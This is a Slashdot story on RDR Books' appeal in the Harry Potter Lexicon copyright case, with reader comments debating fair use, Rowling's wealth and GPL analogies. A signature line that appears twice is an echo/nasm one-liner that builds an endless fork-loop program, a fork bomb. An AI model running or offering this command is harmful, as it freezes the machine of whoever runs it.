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An Appeal In the "Harry Potter Lexicon" Case
NewYorkCountryLawyer writes "RDR Books, the would-be publisher of the book version of the 'Harry Potter Lexicon' Web site, has filed an appeal from the judge's decision in Warner Bros. Pictures v. RDR Books, the case involving the Harry Potter Lexicon. The judge, after a bench trial, issued an injunction and awarded statutory damages of $6,750 (as we discussed at the time), holding that the Lexicon was not protected by fair use due to (a) sloppiness in attribution in sections, (b) the length of some of the quotes, and (c) imitation of J. K. Rowling's writing style in portions. I recently wrote an article criticizing the opinion, but doubting that an appeal would be taken in view of the small damages award. I guess I underestimated the resolve of the defendants and defendants' lawyers — who include the Stanford Law School Center for Internet and Society."
The story is about a boy who lives in a cupboard ("in the closet"). His Aunt and Uncle are ashamed of him because his parents were quite eccentric ("flaming") and they are deeply concerned and afraid that he will turn out just like them. On his 11th birthday (i.e. roughly at the onset of puberty), the boy discovers that he is actually a "wizard", different in both style and substance from straight people, or "muggles" (breeders).
The boy is groomed into his new existence by a large, hairy bear of a man who shows Harry a hidden underground community of "wizards"(the gay subculture) living right under the noses of the general population . Harry's first visit to this subculture involves traveling through "Diagon Alley", a play on the word diagonally (not straight).
Diagonal lines are as straight as any other lines.
What does her wealth have to do with it? I was not aware that society's subjective judgment of whether someone has made "enough" money from one's intellectual property was a factor in copyright law. Either there's a copyright infringement or there isn't. Rowling's wealth and success are irrelevant.
I remember seeing this comment in the earlier discussion some time back.
While wealth might not be a factor in whether there's an infringement or not, wealth is relevant to the theory of copyright law. Copyright doesn't exist to make people lots of money. It exists to provide incentive for people to create things they otherwise wouldn't have created.
In terms of economics, paying a dollar more than is required to provide that incentive, or providing a day more copyright, is inefficient. If the author would have created it without that extra little bit, then that extra little bit is a waste. Society is overpaying for creativity.
Of course, determining the exact amount of incentive in each case isn't feasible, so there will always be some overpaying. However, the point is that if copyright were making every rights holder wealthy, it would probably indicate that society was in general overpaying for its creativity. And, as in the case, if one rights holder becomes very wealthy, society is probably overpaying in that instance.
Would Rowling still have written her books if the work only got her half her current earnings? Probably. A quarter or a tenth? Still probable. Would she have written the books if copyright only lasted 15 years, instead of decades? Probably. Society is undoubtedly overpaying for this creativity.
"Anyone who [rips a CD] is probably engaging in copyright infringement." - David O. Carson
I'm not sure you can compare the HPL and a research paper. The actual text in Harry Potter is the basis of a billion dollar industry and Rowling's publishers have very good lawyers. Fair use has rules about quote length and attribution and it seems like this guy broke them. Of course a lot of research papers may break those same rules but it would be very unlikely anyone would sue over that.
Slashdot is schizophrenic about copyright, if someone had taken big chunks of GPL code and used them in a closed source application everyone would be baying for blood, but for some reason Harry Potter is considered entertainment and therefore OK to copy, a bit like movies and music. In a sense Harry Potter is open source - the text is freely available. It definitely isn't Creative Commons though, so while you are free to cite it you are not free to make derivative works, unless you have an agreement with Rowling herself.
From what I've read this guy cut and pasted big chunks of the original text and didn't add much himself. While the whole thing was non commercial he was safe but as soon as he started to make money he wasn't. It's actually the literary equivalent of using GPL code in a commercial, closed source application.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I believe the case was Woosh vs Woosh 2006, Woosh County Court, State of Woosh
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;